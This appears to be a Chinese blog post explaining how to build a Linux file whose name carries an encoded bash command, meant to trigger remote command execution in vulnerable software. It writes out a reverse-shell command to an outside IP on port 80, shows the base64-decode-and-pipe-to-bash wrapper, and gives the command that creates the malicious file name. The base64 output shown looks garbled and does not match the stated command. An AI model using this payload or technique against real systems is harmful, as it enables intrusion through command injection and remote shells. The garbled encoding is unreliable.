• Linux下生成包含bash命令的文件名的文件


    关于如何绕过Linux限制的其他方式请查看:
    https://book.hacktricks.xyz/linux-hardening/bypass-bash-restrictions

    我只是为了生成/创建包含bash命令的文件名而不是详细介绍Linux系统的文件命名规范,所以只需要考虑Linux系统文件命名的部分要求,文件名中的限制字符是我需要关注的,具体可以查看“限制字符”的链接。
    1.可以使用大写和小写字母、数字、“.”(点)和“_”(下划线)符号。
    2.允许使用 \ 符号引用或转义空格、<、>、|、\、:、(、)、&、; 以及通配符(如 ? 和 *) 。
    在这里插入图片描述

    echo $\(echo `echo '/bin/bash -i >&/dev/tcp/192.168.49.54/80 0>&1'|base64`\|base64 -d\|bash\) 
    

    这个命令中单引号中的/bin/bash -i >&/dev/tcp/192.168.49.54/80 0>&1是反弹shell的命令,也可以换成别的命令,这里的命令将会在之后被执行。
    这条命令的输出类似这样:

    $(echo LJpbi9iYXNoI1pID4m2Rldi90Y3AvMLjE2OC40S41NC84MCwPiYCg==|base64 -d|bash)
    

    输出的命令进行这样的操作:输出一段base64的字符串,然后用base64工具解码,然后再把结果交给bash命令执行。这样做的好处是避免原来命令中包含特殊字符层层转义或者导致执行失败。

    我现在要生成以这个输出作为文件名的文件,用echo ''> 文件名

    echo '' > '$(echo LJpbi9iYXNoI1pID4m2Rldi90Y3AvMLjE2OC40S41NC84MCwPiYCg==|base64 -d|bash).jpg'
    

    请注意,你完全可以不加文件名后缀.jpg,这在Linux中无关紧要。
    下面这个图片里你能看到最终生成的文件名。
    在这里插入图片描述
    为什么要生成/创建这样的文件?
    此文件将在某些Linux软件的漏洞中会被用来进行远程命令执行,这样的手段用来绕过Linux对文件名的限制。

  • 相关阅读:
    CSS引入的三种方式
    Shell脚本之正则表达式
    七年前端,如何做好一个team leader
    第六十一章 符号概览
    Vulnhub靶机:GEMINI INC_ 2
    【李航统计学习笔记】第二章:感知机
    DL4J无法下载MNIST数据集解决 Server returned HTTP response code: 403 for URL解决方法
    PTrade获取交易日期——时间相关函数1
    使用linux系统IO函数实现 `cp`指令的功能
    Xubuntu22.04安装有道词典
  • 原文地址:https://blog.csdn.net/qq_43750882/article/details/139626977